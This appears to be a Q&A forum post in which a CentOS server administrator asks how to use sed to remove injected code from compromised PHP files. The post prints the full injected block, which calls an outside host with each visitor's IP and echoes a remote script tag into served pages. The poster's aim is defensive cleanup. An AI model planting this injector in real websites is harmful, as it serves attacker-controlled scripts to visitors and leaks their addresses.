Skip to main content
Bumped by Community user
Bumped by Community user
Bumped by Community user
Bumped by Community user
Bumped by Community user
Bumped by Community user
Bumped by Community user
Bumped by Community user
Bumped by Community user
Bumped by Community user
edited tags
Source Link
Braiam
  • 36.9k
  • 29
  • 114
  • 176

Thank you in advance for any help given.

Thank you in advance for any help given.

Source Link

How do I use the SED command to remove injected code from multiple files?

One of the domains on my Centos 6.5 (64 bit) server has been compromised. Having run a detection script on the public_html folder I have identified all the files with this code injection.

I understand the SED command will help me rid the files of the code but I've never used the command before. I need some advice on what syntax to use. Please see the code example below that I want to remove (same code in every infected file):

    <?php
    #7968e7#
    if (empty($ywf)) {
error_reporting(0);
@ini_set('display_errors', 0);
if (!function_exists('__url_get_contents')) {
    function __url_get_contents($remote_url, $timeout)
    {
        if (function_exists('curl_exec')) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $remote_url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
            curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds
            $_url_get_contents_data = curl_exec($ch);
            curl_close($ch);
        } elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {
            $ctx = @stream_context_create(array('http' =>
                array(
                    'timeout' => $timeout,
                )
            ));
            $_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);
        } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
            $handle = @fopen($remote_url, "r");
            $_url_get_contents_data = @stream_get_contents($handle);
        } else {
            $_url_get_contents_data = __file_get_url_contents($remote_url);
        }
        return $_url_get_contents_data;
    }
}
if (!function_exists('__file_get_url_contents')) {
    function __file_get_url_contents($remote_url)
    {
        if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',
            $remote_url, $matches)
        ) {
            $protocol = strtolower($matches[1]);
            $host = $matches[2];
            $path = $matches[3];
        } else {
            // Bad remote_url-format
            return FALSE;
        }
        if ($protocol == "http") {
            $socket = @fsockopen($host, 80, $errno, $errstr, $timeout);
        } else {
            // Bad protocol
            return FALSE;
        }
        if (!$socket) {
            // Error creating socket
            return FALSE;
        }
        $request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";
        $len_written = @fwrite($socket, $request);
        if ($len_written === FALSE || $len_written != strlen($request)) {
            // Error sending request
            return FALSE;
        }
        $response = "";
        while (!@feof($socket) &&
            ($buf = @fread($socket, 4096)) !== FALSE) {
            $response .= $buf;
        }
        if ($buf === FALSE) {
            // Error reading response
            return FALSE;
        }
        $end_of_header = strpos($response, "\r\n\r\n");
        return substr($response, $end_of_header + 4);
    }
}

if (empty($__var_to_echo) && empty($remote_domain)) {
    $_ip = $_SERVER['REMOTE_ADDR'];
    $ywf = "http://www.sentinelproducts.com/message/FVkWXrCj.php";
    $ywf = __url_get_contents($ywf."?a=$_ip", 1);
    if (strpos($ywf, 'http://') === 0) {
        $__var_to_echo = '<script type="text/javascript" src="' . $ywf . '?id=108212681"></script>';
        echo $__var_to_echo;
    }
}
    }
    #/7968e7#
    ?>
    <?php
    
    ?>

It is quite a large block of code so I'm wondering how I can go about removing it from the many infected files. There are javascript files infected with code as well but if I can get a grasp of how to rid the .php files of the code above then I can modify the command to clean the javascript files.

Thank you in advance for any help given.